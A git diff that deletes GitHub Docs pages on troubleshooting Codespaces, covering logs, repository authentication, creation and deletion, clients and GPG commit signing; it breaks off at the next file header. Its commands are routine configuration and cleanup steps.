- -> [!NOTE] -> {% data variables.product.prodname_dotcom %} blocks pushes containing files larger than 100 MiB. If your codespace contains large files you will not be able to export your changes to a branch or fork. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-large-files-on-github). - -## Exporting changes to a branch - -The following steps describe how to export your changes to a branch or fork. For information on exporting an unpublished codespace to a new repository, see [AUTOTITLE](/codespaces/developing-in-a-codespace/creating-a-codespace-from-a-template#publishing-from-githubcom). - -{% data reusables.codespaces.your-codespaces-procedure-step %} Or, for an individual repository, click the **{% octicon "code" aria-hidden="true" %} Code** menu. -1. Click the ellipsis (**...**) to the right of the codespace you want to export from. -1. Select **{% octicon "git-branch" aria-hidden="true" %} Export changes to a branch** or **{% octicon "git-branch" aria-hidden="true" %} Export changes to a fork**. - - ![Screenshot of a list of codespaces with the dropdown menu for one of them displayed, showing the "Export changes to a branch" option.](/assets/images/help/codespaces/export-changes-to-a-branch.png) - -1. In the dialog box, click **Create branch** or **Create fork**. - -The name of the new branch will be the permanent name of your codespace prefixed by the string `codespace-`, for example `codespace-ideal-space-engine-w5vg5ww5p793g7g9`. diff --git a/content/codespaces/troubleshooting/github-codespaces-logs.md b/content/codespaces/troubleshooting/github-codespaces-logs.md deleted file mode 100644 index 5fca4f6e4006..000000000000 --- a/content/codespaces/troubleshooting/github-codespaces-logs.md +++ /dev/null @@ -1,151 +0,0 @@ ---- -title: GitHub Codespaces logs -intro: 'Overview of the logs used by {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces - - Logging -shortTitle: Codespaces logs -redirect_from: - - /codespaces/troubleshooting/codespaces-logs ---- - -Information on {% data variables.product.prodname_github_codespaces %} is output to various logs: - -{% webui %} - -* Codespace logs -* Creation logs -* Browser console logs (for the {% data variables.product.prodname_vscode_shortname %} web client) - -Extension logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %}. Click the "{% data variables.product.prodname_vscode %}" tab above for details. - -{% endwebui %} - -{% vscode %} - -* Codespace logs -* Creation logs -* Extension logs (for the {% data variables.product.prodname_vscode_shortname %} desktop application) - -Browser logs are available if you are using {% data variables.product.prodname_github_codespaces %} in your browser. Click the "Web browser" tab above for details. - -{% endvscode %} - -{% cli %} - -* Codespace logs -* Creation logs - -Other logs are available if you are using {% data variables.product.prodname_github_codespaces %} in {% data variables.product.prodname_vscode_shortname %} or in your web browser. Click the tabs above for details. - -{% endcli %} - -{% webui %} - -{% data reusables.codespaces.codespace-logs %} - -1. If you are using {% data variables.product.prodname_github_codespaces %} in the browser, ensure that you are connected to the codespace you want to debug. -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type `export logs`. Select **Codespaces: Export Logs** from the list to download the logs. -1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web). -1. If you are using {% data variables.product.prodname_github_codespaces %} in the browser, right-click on the zip archive of logs from the Explorer view and select **Download…** to download them to your local machine. - -{% endwebui %} - -{% vscode %} - -{% data reusables.codespaces.codespace-logs %} - -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type `export log`. Select **Codespaces: Export Logs** from the list to download the logs. -1. Define where to save the zip archive of logs then click **Save** (desktop) or click **OK** (web). - -{% endvscode %} - -{% cli %} - -{% data reusables.codespaces.codespace-logs %} - -Currently you can't use {% data variables.product.prodname_cli %} to access these logs. To access them, open your codespace in {% data variables.product.prodname_vscode_shortname %} or in a browser. - -{% endcli %} - -## Creation logs - -These logs contain information about the container, dev container, and their configuration. They are useful for debugging configuration and setup problems. - -{% webui %} - -1. Connect to the codespace you want to debug. -1. Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type `creation log`. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file. - -If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally. - -{% endwebui %} - -{% vscode %} - -Open the {% data variables.product.prodname_vscode_command_palette_shortname %} (<kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux)) and type `creation log`. Select **Codespaces: View Creation Log** from the list to open the `creation.log` file. - -If you want to share the log with support, you can copy the text from the creation log into a text editor and save the file locally. - -{% endvscode %} - -{% cli %} - -{% data reusables.cli.cli-learn-more %} - -To see the creation log use the `gh codespace logs` subcommand. After entering the command choose from the list of codespaces that's displayed. - -```shell -gh codespace logs -``` - -For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_logs). - -If you want to share the log with support, you can save the output to a file: - -```shell -gh codespace logs -c <CODESPACE-NAME> > /path/to/logs.txt -``` - -{% endcli %} - -{% vscode %} - -## Extension logs - -These logs are available for {% data variables.product.prodname_vscode_shortname %} desktop users only. They are useful if it seems like the {% data variables.product.prodname_github_codespaces %} extension or {% data variables.product.prodname_vscode_shortname %} editor are having issues that prevent creation or connection. - -1. In {% data variables.product.prodname_vscode_shortname %}, open the Command Palette. -1. Type `logs` and select **Developer: Open Extension Logs Folder**. -1. Your system's file explorer is displayed showing various log files and folders. Open the folder `output_logging_DATETIME`. - -From this view, you can access logs generated by extensions you use in {% data variables.product.prodname_vscode_shortname %}, including {% data variables.product.prodname_github_codespaces %}. - -{% endvscode %} - -{% webui %} - -## Browser console logs - -These logs are useful only if you want to debug problems with using {% data variables.product.prodname_github_codespaces %} in the browser. They are useful for debugging problems creating and connecting to {% data variables.product.prodname_github_codespaces %}. - -The following instructions are for Chrome. The steps for other browsers are similar. - -1. In the browser window for the codespace you want to debug, open the developer tools window. -1. Click the **Console** tab. -1. Show the console sidebar, if it is not already displayed. For more information, see [Console features reference](https://developer.chrome.com/docs/devtools/console/reference#sidebar) in the Chrome for Developers documentation. -1. In the sidebar, click **NUMBER errors** to show only the errors. -1. In the log area on the right, right-click and select **Save as** to save a copy of the errors to your local machine. - - ![Screenshot of the developer tools panel in the Chrome browser. The right-click menu is displayed, showing the option "Save as."](/assets/images/help/codespaces/browser-console-log-save.png) - -{% endwebui %} - -## Further reading - -* [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces) -* [AUTOTITLE](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces) diff --git a/content/codespaces/troubleshooting/index.md b/content/codespaces/troubleshooting/index.md deleted file mode 100644 index a56eb6e7ea9a..000000000000 --- a/content/codespaces/troubleshooting/index.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Troubleshooting GitHub Codespaces -shortTitle: Troubleshooting -intro: 'These guides provide information for troubleshooting {% data variables.product.prodname_github_codespaces %}' -versions: - fpt: '*' - ghec: '*' -redirect_from: - - /codespaces/codespaces-reference/troubleshooting-your-codespace - - /github/developing-online-with-github-codespaces/troubleshooting-your-codespace - - /github/developing-online-with-codespaces/troubleshooting-your-codespace - - /codespaces/working-with-your-codespace/troubleshooting-your-codespace -children: - - /github-codespaces-logs - - /troubleshooting-github-codespaces-clients - - /troubleshooting-included-usage - - /exporting-changes-to-a-branch - - /troubleshooting-creation-and-deletion-of-codespaces - - /troubleshooting-authentication-to-a-repository - - /troubleshooting-your-connection-to-github-codespaces - - /troubleshooting-prebuilds - - /troubleshooting-personalization-for-codespaces - - /troubleshooting-port-forwarding-for-github-codespaces - - /troubleshooting-gpg-verification-for-github-codespaces - - /working-with-support-for-github-codespaces ---- - diff --git a/content/codespaces/troubleshooting/troubleshooting-authentication-to-a-repository.md b/content/codespaces/troubleshooting/troubleshooting-authentication-to-a-repository.md deleted file mode 100644 index ecebb463e288..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-authentication-to-a-repository.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Troubleshooting authentication to a repository -intro: 'Learn how to troubleshoot common authentication issues when you clone, push to, or pull from a repository in a codespace.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Authenticating to repositories ---- - -When you create a codespace for a repository, you can generally use `git pull` and `git push` to pull and push changes to that repository without any additional authentication. However, occasionally you may see authentication errors when trying to run these operations. - -You may also get errors if you are trying to interact with a repository other than the one from which you created the codespace. - -## Authenticating to the repository you created the codespace from - -If you're trying to push to or pull from the repository from which you created the codespace, but authentication is failing, you may see an error like `git@github.com: Permission denied (publickey)` or `Host key verification failed`. - -You may see these errors if you use a dotfiles repository with {% data variables.product.prodname_github_codespaces %}, and you have configured Git to use a protocol other than HTTPS for transferring data to the remote repository. For example, you may have configured Git to use SSH by including lines like the following in a config file in your dotfiles. - -```shell -[url "git@github.com:"] - insteadOf = https://github.com/ -``` - -{% data variables.product.prodname_github_codespaces %} uses the HTTPS protocol by default, and authenticates with a `GITHUB_TOKEN` configured with read and write access to the repository from which you created the codespace. We recommend you use the default HTTPS and `GITHUB_TOKEN` in your codespace. The permissions of the `GITHUB_TOKEN` are usually limited to just one repository, following the security principle of least privilege. SSH authentication does not have fine-grained repository permissions, so an accidental exposure of your SSH key could give someone access to all your repositories. - -To use the default HTTPS, remove the conflicting configuration from your dotfiles. If your dotfiles repository contains an installation script in a recognized file such as `install.sh`, you can use logic like the following to exclude the configuration in codespaces. - -```shell -if [ -z "$CODESPACES" ]; then - git config --global url."git@github.com".insteadOf "https://github.com" -fi -``` - -If you're working in a codespace created from a repository you trust, and you need to use SSH, ensure that your codespace is set up to authenticate with an SSH key that is linked to your {% data variables.product.prodname_dotcom %} account. For more information, see [AUTOTITLE](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent). - -## Authenticating to repositories that you didn't create the codespace from - -The `GITHUB_TOKEN` in a codespace is configured with read and write access to the repository from which you created the codespace. By default, the token does not have access to other repositories. You may find you cannot clone a repository, or you cannot push to a repository you have cloned. - -We do not recommend manually updating the value of the `GITHUB_TOKEN` in a codespace. If your project requires access to other repositories, you can give codespaces access to these repositories by listing additional permissions in your dev container configuration. This will allow users to authorize the additional permissions when they create a codespace. However, it will not change the permissions of an existing codespace. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces). - -If you need access to another repository in an existing codespace, or if the permissions you need are specific to you and don't apply to other contributors, you can create a {% data variables.product.pat_generic %} with access to the repository and add the token to your codespace. We recommend you limit the token's access by using a {% data variables.product.pat_v2 %}, selecting only the repositories to which you need access, and giving the required access to the **Contents** permission only. For more information, see [AUTOTITLE](/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens#creating-a-fine-grained-personal-access-token). - -You can then add the token as an environment variable in a codespace, or as a secret for {% data variables.product.prodname_github_codespaces %}. If you create a secret, you should only allow certain trusted repositories to access the secret. When you add a new secret, you will be prompted to reload your existing codespace to pull in the new secret. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-your-account-specific-secrets-for-github-codespaces). - -To use the token to authenticate in your codespace, you have the following options. - -* When you create the environment variable or secret, you can use the name `GH_TOKEN`. The `GH_TOKEN` variable is used by default in {% data variables.product.prodname_cli %} operations, so you can clone the repository using the command `gh repo clone OWNER/REPO`. - - However, if you then try to push to the repository using `git push`, Git's credential helper will try to use the existing `GITHUB_TOKEN` to authenticate, and authentication will fail. You can override the helper, but this may introduce friction when you try to interact with the original repository from which you created the codespace. -* You can clone the repository with a URL that includes the access token. Replace `YOUR-VARIABLE` with the name of the environment variable or secret you created. - - ```shell - git clone https://USERNAME:$YOUR-VARIABLE@github.com/OWNER/REPO` - ``` - - This will store the access token for the specific repository, so you will be able to push to and pull from the repository without overriding the existing credential helper. - - > [!NOTE] - > If you clone in this way, the token will be visible in your Git configuration. You should only use this method when working in a codespace created from a repository you trust, and you should limit the scope of the access token as much as possible. diff --git a/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md b/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md deleted file mode 100644 index 38c3a7b5a6f4..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-creation-and-deletion-of-codespaces.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Troubleshooting creation and deletion of codespaces -intro: 'This article provides troubleshooting steps for common issues you may experience when creating or deleting a codespace, including storage and configuration issues.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -shortTitle: Creation and deletion ---- - -{% ifversion ghec %} - -{% data reusables.codespaces.data-residency-availability %} - -{% endif %} - -## Creating codespaces - -### No access to create a codespace - -{% data variables.product.prodname_github_codespaces %} is not available for all repositories. If the options for creating a codespace are not displayed, {% data variables.product.prodname_github_codespaces %} may not be available for that repository. - -If you have remaining monthly included usage of {% data variables.product.prodname_github_codespaces %} on your personal account, or you have set up a payment method and a spending limit, you can create a codespace for any public repository. - -You can also create a codespace for any private repository to which you have at least read access, provided this private repository is owned by a personal account. If a repository is private {% ifversion ghec %}or internal {% endif %}and is owned by an organization, you may or may not be able to create a codespace for that repository, depending on the settings of the organization or its parent enterprise. - -If you can't create a codespace for a repository, this may be due to one of the following organization or enterprise settings. -* Organization and enterprise owners can choose which users can access {% data variables.product.prodname_github_codespaces %} in an organization's private {% ifversion ghec %}and internal {% endif %} repositories. For more information, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization). -* Organization and enterprise owners can disable forking for some or all of an organization's private {% ifversion ghec %}and internal {% endif %}repositories. If you only have read access to a repository, and you cannot fork it, then you cannot create a codespace for that repository. For more information, see [AUTOTITLE](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization).{% ifversion ghec %} -* {% data reusables.codespaces.emus-create-codespaces %}{% endif %} - -For information about other organization and enterprise settings that can affect whether you can create a codespace, see [AUTOTITLE](/codespaces/managing-codespaces-for-your-organization/enabling-or-disabling-github-codespaces-for-your-organization#prerequisites-for-enabling-github-codespaces). - -For more information about included usage for personal accounts, and setting a spending limit, see [AUTOTITLE](/free-pro-team@latest/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/about-billing-for-github-codespaces) and [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces). - -### Codespace does not open when created - -If you create a codespace and it does not open: - -1. Try reloading the page in case there was a caching or reporting problem. -1. Go to your {% data variables.product.prodname_github_codespaces %} page: https://github.com/codespaces and check whether the new codespace is listed there. The process may have successfully created the codespace but failed to report back to your browser. If the new codespace is listed, you can open it directly from that page. -1. Retry creating the codespace for the repository to rule out a transient communication failure. - -If you still cannot create a codespace for a repository where {% data variables.product.prodname_github_codespaces %} is available, {% data reusables.codespaces.contact-support %} - -### Codespace creation fails - -If the creation of a codespace fails, it's likely to be due to a temporary infrastructure issue in the cloud - for example, a problem provisioning a virtual machine for the codespace. A less common reason for failure is if it takes longer than an hour to build the container. In this case, the build is canceled and codespace creation will fail. - -> [!NOTE] -> A codespace that was not successfully created is never going to be usable and should be deleted. For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace). - -If you create a codespace and the creation fails: - -1. Check {% data variables.product.prodname_dotcom %}'s [Status page](https://githubstatus.com) for any active incidents. -1. Go to [your {% data variables.product.prodname_github_codespaces %} page](https://github.com/codespaces), delete the codespace, and create a new codespace. -1. If the container is building, look at the logs that are streaming and make sure the build is not stuck. A container build that takes longer than one hour will be canceled, resulting in a failed creation. - - One common scenario where this could happen is if you have a script running that is prompting for user input and waiting for an answer. If this is the case, remove the interactive prompt so that the build can complete non-interactively. - - > [!NOTE] - > To view the logs during a build: - > * **In the browser**, if the initial steps of the build process take more than a few seconds, the "Setting up your codespace" page is displayed. Click **View logs.** - > - > ![Screenshot of the "Setting up your codespace" page in a browser. The link "View logs" is highlighted with a dark orange outline.](/assets/images/help/codespaces/web-ui-view-logs.png) - > - > * **In the {% data variables.product.prodname_vscode_shortname %} desktop application**, click **Building codespace** in the "Setting up remote connection" popup message that's displayed. - > - > ![Screenshot of a popup message in {% data variables.product.prodname_vscode_shortname %}, reading "Setting up remote connection: Building codespace."](/assets/images/help/codespaces/vs-code-building-codespace.png) - > - > Log messages are printed to the Terminal in {% data variables.product.prodname_vscode_shortname %} - -1. If you have a container that takes a long time to build, consider using prebuilds to speed up codespace creations. For more information, see [AUTOTITLE](/codespaces/prebuilding-your-codespaces/configuring-prebuilds#configuring-prebuilds). - -## Deleting codespaces - -A codespace can only be deleted by: -* The person who created the codespace -* An organization owner for an organization-owned codespace -* Automatic deletion at the end of a retention period - -For more information, see [AUTOTITLE](/codespaces/developing-in-a-codespace/deleting-a-codespace) and [AUTOTITLE](/codespaces/setting-your-user-preferences/configuring-automatic-deletion-of-your-codespaces). - -## Container storage - -When you create a codespace, it has a finite amount of storage and over time it may be necessary for you to free up space. Try running any of the following commands in the {% data variables.product.prodname_github_codespaces %} terminal to free up storage space. - -* Remove packages that are no longer used by using `sudo apt autoremove`. -* Clean the apt cache by using `sudo apt clean`. -* See the top 10 largest files in the codespace with`sudo find / -printf '%s %p\n'| sort -nr | head -10`. -* Delete unneeded files, such as build artifacts and logs. - -Some more destructive options: - -* Remove unused Docker images, networks, and containers by using `docker system prune` (append `-a` if you want to remove all images, and `--volumes` if you want to remove all volumes). -* Remove untracked files from working tree: `git clean -i`. - -## Configuration - -{% data reusables.codespaces.recovery-mode %} - -```shell -This codespace is currently running in recovery mode due to a container error. -``` - -Review the creation logs and update the dev container configuration as needed. For more information, see [AUTOTITLE](/codespaces/troubleshooting/github-codespaces-logs). - -You can then try restarting the codespace, or rebuilding the container. For more information on rebuilding the container, see [AUTOTITLE](/codespaces/setting-up-your-project-for-codespaces/adding-a-dev-container-configuration/introduction-to-dev-containers#applying-configuration-changes-to-a-codespace). diff --git a/content/codespaces/troubleshooting/troubleshooting-github-codespaces-clients.md b/content/codespaces/troubleshooting/troubleshooting-github-codespaces-clients.md deleted file mode 100644 index 6724dea53775..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-github-codespaces-clients.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Troubleshooting GitHub Codespaces clients -shortTitle: Codespaces clients -intro: 'This article provides troubleshooting information for issues you may encounter with the client you use for {% data variables.product.prodname_github_codespaces %}.' -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces -redirect_from: - - /codespaces/troubleshooting/troubleshooting-codespaces-clients ---- - -{% webui %} - -## Troubleshooting the {% data variables.product.prodname_vscode %} web client - -If you encounter issues using {% data variables.product.prodname_github_codespaces %} in a browser that is not Chromium-based, try switching to a Chromium-based browser, such as Google Chrome or Microsoft Edge. Alternatively, check for known issues with your browser in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen) repository by searching for issues labeled with the name of your browser, such as [`firefox`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+label%3Afirefox) or [`safari`](https://github.com/Microsoft/vscode/issues?q=is%3Aopen+is%3Aissue+label%3Asafari). - -If you encounter issues using {% data variables.product.prodname_github_codespaces %} in a Chromium-based browser, you can check if you're experiencing another known issue with {% data variables.product.prodname_vscode_shortname %} in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen) repository. - -### Differences from working in {% data variables.product.prodname_vscode_shortname %} locally - -When you open a codespace in your browser, using the {% data variables.product.prodname_vscode_shortname %} web client, you will notice some differences from working in a local workspace in the {% data variables.product.prodname_vscode_shortname %} desktop application. For example, some key bindings will be different or missing, and some extensions may behave differently. For a summary, see: [Known limitations and adaptions](https://code.visualstudio.com/docs/remote/codespaces#_known-limitations-and-adaptations) in the {% data variables.product.prodname_vscode_shortname %} docs. - -You can check for known issues and log new issues with the {% data variables.product.prodname_vscode_shortname %} experience in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) repository. - -### {% data variables.product.prodname_vscode %} Insiders - -{% data variables.product.prodname_vscode %} Insiders is the most frequent release of {% data variables.product.prodname_vscode_shortname %}. It has all the latest features and bug fixes, but may also occasionally contain new issues that result in a broken build. - -If you are using an Insiders build and notice broken behavior, we recommend switching to {% data variables.product.prodname_vscode %} Stable and trying again. - -Click {% octicon "gear" aria-label="Manage" %} in the bottom left of the editor and select **Switch to Stable Version...**. If the {% data variables.product.prodname_vscode_shortname %} web client doesn't load, or {% octicon "gear" aria-label="Manage" %} isn't available, you can force switching to {% data variables.product.prodname_vscode %} Stable by appending `?vscodeChannel=stable` to your codespace URL and loading the codespace at that URL. - -If the problem isn't fixed in {% data variables.product.prodname_vscode %} Stable, check for known issues and, if required, log a new issue with the {% data variables.product.prodname_vscode_shortname %} experience, in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) repository. - -{% data reusables.codespaces.troubleshooting-simple-browser %} - -{% endwebui %} - -{% vscode %} - -## {% data variables.product.prodname_vscode_shortname %} troubleshooting - -When you open a codespace in the {% data variables.product.prodname_vscode_shortname %} desktop application, you may notice a few differences compared with working in a local workspace, but the experience should be similar. - -If you encounter problems, you can check for known issues and log new issues with the {% data variables.product.prodname_vscode_shortname %} experience in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) repository. - -### {% data variables.product.prodname_vscode %} Insiders - -{% data variables.product.prodname_vscode %} Insiders is the most frequent release of {% data variables.product.prodname_vscode_shortname %}. It has all the latest features and bug fixes, but may also occasionally contain new issues that result in a broken build. - -If you are using an Insiders build and notice broken behavior, we recommend switching to {% data variables.product.prodname_vscode %} Stable and trying again. - -To switch to {% data variables.product.prodname_vscode %} Stable, close the {% data variables.product.prodname_vscode %} Insiders application, open the {% data variables.product.prodname_vscode %} Stable application, and re-open your codespace. - -If the problem isn't fixed in {% data variables.product.prodname_vscode %} Stable, check for known issues and, if required, log a new issue with the {% data variables.product.prodname_vscode_shortname %} experience, in the [`microsoft/vscode`](https://github.com/microsoft/vscode/issues?q=is%3Aissue+is%3Aopen+codespaces) repository. - -{% data reusables.codespaces.troubleshooting-simple-browser %} - -{% endvscode %} diff --git a/content/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces.md b/content/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces.md deleted file mode 100644 index 2e00fe99d155..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-gpg-verification-for-github-codespaces.md +++ /dev/null @@ -1,123 +0,0 @@ ---- -title: Troubleshooting GPG verification for GitHub Codespaces -shortTitle: GPG verification -intro: This article provides troubleshooting advice for errors related to signing your commits in codespaces. -versions: - fpt: '*' - ghec: '*' -type: reference -topics: - - Codespaces ---- - -If you enable GPG verification, {% data variables.product.prodname_github_codespaces %} automatically signs your commits in codespaces that you create from selected repositories. For more information, see [AUTOTITLE](/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces). - -{% data reusables.codespaces.gpg-in-active-codespaces %} - -If {% data variables.product.prodname_github_codespaces %} fails to sign a commit, you may see the error message `gpg failed to sign the data` in the command line or in a {% data variables.product.prodname_vscode %} pop-up window. - -The following sections of this article provide troubleshooting advice for common causes of this error. - -* If GPG verification has previously been enabled in your settings for {% data variables.product.prodname_github_codespaces %}, and you have recently disabled GPG verification or removed a repository from your list of trusted repositories, Git may still be trying to sign your commits. For more information, see [Errors after disabling GPG verification](#errors-after-disabling-gpg-verification). -* If GPG verification is enabled for the codespace, you may have overridden the Git configuration required to sign your commits. For more information, see [Errors caused by conflicting Git configuration](#errors-caused-by-conflicting-git-configuration). -* If GPG verification is disabled for the codespace, and you're encountering the error when trying to commit from the "Source Control" view in {% data variables.product.prodname_vscode_shortname %}, this may be because of your {% data variables.product.prodname_vscode_shortname %} settings. For more information, see [Errors in the {% data variables.product.prodname_vscode_shortname %} "Source Control" view](#errors-in-the-vs-code-source-control-view). - -## Errors after disabling GPG verification - -When you enable GPG verification, {% data variables.product.prodname_github_codespaces %} signs all the commits you make in codespaces by default. It does this by setting the `commit.gpgsign` Git configuration value to `true`. - -If you have disabled GPG verification, and are working in an existing codespace, then this value will still be set to `true`. This means that {% data variables.product.prodname_github_codespaces %} will try to sign your commits, but will be unable to do so, because you have disabled the GPG verification setting. - -To keep making regular, unsigned commits in your codespace, reset `commit.gpgsign` to the default value of `false` by entering the following command in the terminal. - -```shell copy -git config --unset commit.gpgsign -``` - -To check that the value has been correctly removed from your configuration, you can enter `git config --list`. You should not see a value for `commit.gpgsign` in the list. - -## Errors caused by conflicting Git configuration - -To automatically sign your commits, {% data variables.product.prodname_github_codespaces %} sets certain Git configuration values in your codespace. If you override the values set by {% data variables.product.prodname_github_codespaces %}, you may be unable to sign your commits. - -You may be inadvertently overriding these values if you have linked {% data variables.product.prodname_github_codespaces %} with a dotfiles repository that contains Git configuration files. For more information about using dotfiles with {% data variables.product.prodname_github_codespaces %}, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#dotfiles). - -### Checking for conflicting configuration - -To sign your commits with GPG, {% data variables.product.prodname_github_codespaces %} automatically sets the following Git configuration values at the system level. - -| Configuration setting | Required value | -| --------------------- | -------------- | -| `user.name` | Must match the full name set on your {% data variables.product.prodname_dotcom %} profile | -| `credential.helper` | Must be set to `/.codespaces/bin/gitcredential_github.sh` | -| `gpg.program` | Must be set to `/.codespaces/bin/gh-gpgsign` | - -To check that these values are set correctly in a codespace, you can use the `git config --list --show-origin` command. Because {% data variables.product.prodname_github_codespaces %} sets this configuration at the system level, the required configuration settings should come from `/usr/local/etc/gitconfig`. - -```shell -$ git config --list --show-origin -file:/usr/local/etc/gitconfig credential.helper=/.codespaces/bin/gitcredential_github.sh -file:/usr/local/etc/gitconfig user.name=Mona Lisa -file:/usr/local/etc/gitconfig gpg.program=/.codespaces/bin/gh-gpgsign -``` - -In addition to the values listed above, you may run into errors if the dotfiles used in your codespaces contain any of the following values. - -* The `user.signingkey` Git config value -* The `commit.gpgsign` Git config value -* A manually set `GITHUB_TOKEN` - -### Removing conflicting configuration - -If you want to keep automatic GPG verification for {% data variables.product.prodname_github_codespaces %} enabled, you will need to remove any conflicting configuration from the dotfiles used in your codespaces. - -For example, if the global `.gitconfig` file on your local machine contains a `gpg.program` value, and you have pushed this file to a dotfiles repository that is linked with {% data variables.product.prodname_github_codespaces %}, then you may want to remove `gpg.program` from this file and set it at the system level on your local machine instead. - -> [!NOTE] -> Any changes to your dotfiles repository will apply to new codespaces you create, but not to your existing codespaces. - -1. On your local machine, open a terminal. -1. To remove the conflicting value from `~/.gitconfig` (Mac/Linux) or `C:\Users\YOUR-USER\.gitconfig` (Windows), use the `git config --global --unset` command. - - ```shell - git config --global --unset gpg.program - ``` - -1. Push the change to your dotfiles repository on {% data variables.product.prodname_dotcom %}. -1. Optionally, to keep your local configuration, set the value again in a Git configuration file that you do not push to your dotfiles repository. - - For example, you can use the `--system` flag to set the configuration in the system-level file at `PATH/etc/gitconfig`, where `PATH` is the directory in which Git is installed on your system. - - ```shell - git config --system gpg.program gpg2 - ``` - -Alternatively, if your dotfiles repository contains an installation script in a recognized file such as `install.sh`, you can use the `$CODESPACES` environment variable to add conditional logic, such as only setting `gpg.program` when you are not in a codespace. In the following example, `-z "$CODESPACES"` returns `true` if you are not in a codespace. - -```shell copy -if [ -z "$CODESPACES" ]; then - git config --global gpg.program gpg2 -fi -``` - -## Errors in the {% data variables.product.prodname_vscode_shortname %} "Source Control" view - -If GPG verification is disabled in your settings for {% data variables.product.prodname_github_codespaces %}, or the repository you created the codespace from isn't in your list of trusted repositories, then Git should not attempt to sign your commits. If you encounter a signing error when trying to commit from the "Source Control" view in {% data variables.product.prodname_vscode_shortname %}, you should check the {% data variables.product.prodname_vscode_shortname %} settings in your codespace. - -1. In the lower-left corner of the window, select **{% octicon "gear" aria-label="Manage" %}**, then click **Settings**. - - ![Screenshot of a section of the {% data variables.product.prodname_vscode_shortname %} web client. A gear icon and the "Settings" option in a menu are both highlighted with an orange outline.](/assets/images/help/codespaces/vscode-settings.png) - -1. On the "User" tab, in the search bar, search for "gpg". -1. Verify that the "Enables commit signing with GPG or X.509" setting is deselected. - - ![Screenshot of the "User" settings tab. A deselected checkbox, labeled "Enables commit signing with GPG or X.509," is outlined in orange.](/assets/images/help/codespaces/gpg-vscode-setting.png) - -If you find this setting is enabled, you should either deselect the checkbox to stop {% data variables.product.prodname_vscode_shortname %} trying to sign your commits, or you should enable GPG verification for the repository you're working in so your commits can be signed successfully. - -If you change your {% data variables.product.prodname_vscode_shortname %} settings, you must ensure Settings Sync is enabled if you want to share your changes with other codespaces you create. You should only turn on Settings Sync in a codespace created from a repository you trust. For more information, see [AUTOTITLE](/codespaces/setting-your-user-preferences/personalizing-github-codespaces-for-your-account#settings-sync). - -## Further reading - -* [AUTOTITLE](/authentication/managing-commit-signature-verification/about-commit-signature-verification) -* [`git config`](https://git-scm.com/docs/git-config) in the official Git documentation diff --git a/content/codespaces/troubleshooting/troubleshooting-included-usage.md b/content/codespaces/troubleshooting/troubleshooting-included-usage.md deleted file mode 100644 index 408708bc8a04..000000000000 --- a/content/codespaces/troubleshooting/troubleshooting-included-usage.md +++ /dev/null @@ -1,108 